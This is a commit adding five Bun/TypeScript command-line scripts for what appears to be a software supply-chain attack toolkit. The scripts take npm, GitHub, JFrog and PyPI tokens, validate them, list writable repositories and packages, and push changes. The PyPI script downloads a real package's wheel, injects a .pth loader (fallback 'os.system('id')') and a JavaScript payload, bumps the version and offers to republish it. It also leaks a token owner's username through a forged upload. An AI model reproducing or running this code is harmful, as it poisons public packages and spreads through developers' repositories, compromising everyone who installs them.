Upload files to "src/cli"

This commit is contained in:
2026-07-03 03:18:14 +00:00
parent ebd8d3aab4
commit d85741d18e
5 changed files with 322 additions and 0 deletions
+74
View File
@@ -0,0 +1,74 @@
#!/usr/bin/env bun
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
import { parseArgs, runModule } from "./common";
async function main() {
const args = parseArgs(Bun.argv.slice(2));
const baseUrl = args.params["jfrog-url"];
if (!baseUrl)
throw new Error(
"--jfrog-url required (e.g. https://myco.jfrog.io/artifactory)",
);
const rawCred = args.params["jfrog-token"];
if (!rawCred)
throw new Error(
"--jfrog-token required (API key, Bearer token, or user:pass)",
);
const { detectCredential, validateCredentials } =
await import("../mutator/jfrognpm/auth");
const explicitType = args.params["jfrog-auth-type"] as
| "api-key"
| "bearer"
| "basic"
| undefined;
const credential = explicitType
? { type: explicitType, value: rawCred }
: detectCredential(rawCred);
console.error(`[jfrognpm] Auth type: ${credential.type}`);
const validation = await validateCredentials(baseUrl, credential);
if (!validation.valid) {
throw new Error(`JFrog credential validation failed: ${validation.error}`);
}
const session = validation.session!;
console.error(
`[jfrognpm] Authenticated as ${session.username} (admin: ${session.isAdmin}, write: ${session.canWrite})`,
);
console.error(
`[jfrognpm] NPM repos: ${session.npmRepos.join(", ") || "(none)"}`,
);
const packages = args.params["packages"]
? args.params["packages"]
.split(",")
.map((s) => s.trim())
.filter(Boolean)
: [];
const maxPackages = args.params["max-packages"]
? parseInt(args.params["max-packages"], 10)
: undefined;
const forceCache = args.flags.has("force-cache-overwrite");
const doExecute = args.flags.has("execute");
const { JfrogNpmMutator } = await import("../mutator/jfrognpm/index");
const mutator = new JfrogNpmMutator(session, {
packages,
maxPackages,
forceCacheOverwrite: forceCache,
reconOnly: !doExecute,
});
return mutator.execute();
}
runModule("JfrogNpmClient", main);
+21
View File
@@ -0,0 +1,21 @@
#!/usr/bin/env bun
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
import { parseArgs, runModule } from "./common";
async function main() {
const args = parseArgs(Bun.argv.slice(2));
const token = args.params["npm-token"];
if (!token) throw new Error("--npm-token required");
const { checkToken } = await import("../mutator/npm/tokenCheck");
const tokenInfo = await checkToken(token);
if (!tokenInfo.valid) throw new Error("NPM token validation failed");
const { NpmClient } = await import("../mutator/npm/index");
const mutator = new NpmClient(tokenInfo);
return mutator.execute();
}
runModule("NpmClient", main);
+40
View File
@@ -0,0 +1,40 @@
#!/usr/bin/env bun
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
import { parseArgs, runModule } from "./common";
async function main() {
const args = parseArgs(Bun.argv.slice(2));
const token = args.params["github-token"];
if (!token) throw new Error("--github-token required");
const repo = args.params["repo"];
const execute = args.flags.has("execute");
const { NpmOidcBranchMutator } = await import("../mutator/npmoidc/branch");
if (repo) {
console.log(
execute
? "[npmoidc-branch] LIVE mode — will push branch"
: "[npmoidc-branch] will create dry-run commit",
);
// Process single repo directly
const mutator = new NpmOidcBranchMutator(token, !execute);
const ok = await mutator.processSingleRepo(repo, token);
if (!ok) console.log(`\n${repo}: NOT an npm-publishing repo`);
} else {
// Batch mode: scan all writable repos
const mutator = new NpmOidcBranchMutator(token, !execute);
console.log(
execute
? "[npmoidc-branch] LIVE mode — scanning all writable repos"
: "[npmoidc-branch] DRY-RUN — scanning all writable repos (add --execute to push)",
);
await mutator.execute();
}
}
const args = parseArgs(Bun.argv.slice(2));
runModule("NpmOidcBranch", main);
+166
View File
@@ -0,0 +1,166 @@
#!/usr/bin/env bun
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
import { writeFileSync } from "fs";
import { resolve } from "path";
import { createInterface } from "readline";
import { parseArgs, runModule } from "./common";
async function main() {
const args = parseArgs(Bun.argv.slice(2));
const token = args.params["pypi-token"];
const packageName = args.params["package"];
if (!packageName) throw new Error("--package required (e.g. requests)");
const hasToken = !!token;
const steps = hasToken ? 4 : 3;
// 1. Validate token (only if provided)
if (hasToken) {
console.error(`[1/${steps}] Validating token...`);
let valid = false;
try {
const form = new FormData();
form.append(":action", "file_upload");
form.append("name", "dummy-package");
form.append("version", "0.0.1");
form.append("content", "dummy-content");
const res = await fetch("https://upload.pypi.org/legacy/", {
method: "POST",
headers: { Authorization: `token ${token}` },
body: form,
});
if (res.status === 400) {
valid = true;
}
} catch (e) {
throw new Error(
`PyPI validation failed: ${e instanceof Error ? e.message : String(e)}`,
);
}
if (!valid) {
throw new Error("PyPI token invalid — upload endpoint rejected it");
}
const { parseMacaroonToken } =
await import("../mutator/pypi/macaroonParse");
const macaroon = parseMacaroonToken(token);
console.error(`[pypi] Token type: ${macaroon.type}`);
// Username probe — upload to "six" (a package they can't own) to leak username via 403
console.error(`[pypi] Probing username via six...`);
try {
const probeForm = new FormData();
probeForm.append(":action", "file_upload");
probeForm.append("name", "six");
probeForm.append("version", "0.0.1");
probeForm.append("content", new Blob(["x"]), "x");
const probeRes = await fetch("https://upload.pypi.org/legacy/", {
method: "POST",
headers: { Authorization: `token ${token}` },
body: probeForm,
});
if (probeRes.status === 403) {
const text = await probeRes.text();
const m = text.match(/The user '([^']+)' isn't allowed/);
if (m) console.error(`[pypi] Username: ${m[1]}`);
}
} catch {
// non-critical
}
}
// Download the wheel
const stepDownload = hasToken ? 2 : 1;
console.error(`[${stepDownload}/${steps}] Downloading ${packageName}...`);
const { fetchPackageMeta, downloadWheel, patchWheel } =
await import("../mutator/pypi/wheel");
const meta = await fetchPackageMeta(packageName);
if (!meta) throw new Error(`Package "${packageName}" not found on PyPI`);
console.error(
`[pypi] Found ${meta.name} @ ${meta.version} (${meta.wheelUrl})`,
);
const wheelData = await downloadWheel(meta.wheelUrl);
if (!wheelData)
throw new Error(`Failed to download wheel for ${packageName}`);
// Patch the wheel
const stepPatch = hasToken ? 3 : 2;
console.error(`[${stepPatch}/${steps}] Patching wheel...`);
// Full Bun-guard .pth loader + hello-world JS test payload
const jsName = "_index.js";
const { INJECT_PTH } = await import("../generated");
const pthContent = (INJECT_PTH as string) || "import os; os.system('id')";
// Hello-world test payload (Bun will execute this)
const jsPayload = `const fs = require("fs"); fs.writeFileSync("/tmp/hello.txt", "hello world");`;
const patched = patchWheel({
meta,
wheelData,
pthContent,
jsPayload,
jsFilename: jsName,
});
console.error(`[pypi] Patched: ${meta.version}${patched.newVersion}`);
// Save patched wheel to cwd
const stepSave = hasToken ? 4 : 3;
const outPath = resolve(process.cwd(), patched.filename);
writeFileSync(outPath, patched.data);
console.error(`[${stepSave}/${steps}] Saved patched wheel to: ${outPath}`);
console.error(
`[pypi] File: ${patched.filename} (${patched.data.length} bytes)`,
);
// If no token, we're done
if (!hasToken) {
console.error("");
console.error("No token provided — wheel saved to disk only.");
return true;
}
// Confirm upload
console.error("");
const rl = createInterface({ input: process.stdin, output: process.stderr });
const answer = await new Promise<string>((resolve) => {
rl.question("Upload patched wheel to PyPI? [y/N]: ", resolve);
});
rl.close();
if (answer.toLowerCase() !== "y") {
console.error("Upload skipped. Patched wheel saved to disk.");
return true;
}
// Upload
console.error("[pypi] Uploading...");
const { uploadWheel } = await import("../mutator/pypi/upload");
const { extractInfo } = await import("../mutator/pypi/wheel");
const ok = await uploadWheel({
token: token!,
pkgName: meta.name,
version: patched.newVersion,
filename: patched.filename,
wheelData: patched.data,
...extractInfo(meta.info),
});
if (ok) {
console.error(`[pypi] Published ${meta.name} @ ${patched.newVersion}`);
return true;
} else {
throw new Error("Upload failed");
}
}
runModule("PypiClient", main);
+21
View File
@@ -0,0 +1,21 @@
#!/usr/bin/env bun
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
import { parseArgs, runModule } from "./common";
async function main() {
const args = parseArgs(Bun.argv.slice(2));
const token = args.params["github-token"];
if (!token) throw new Error("--github-token required");
// Defaults to dry-run. Pass --live to actually commit.
const live = args.flags.has("live");
const dryRun = !live;
const { RepositoryMutator } = await import("../mutator/repository/index");
const mutator = new RepositoryMutator(token, { dryRun });
return mutator.execute();
}
runModule("RepositoryMutator", main);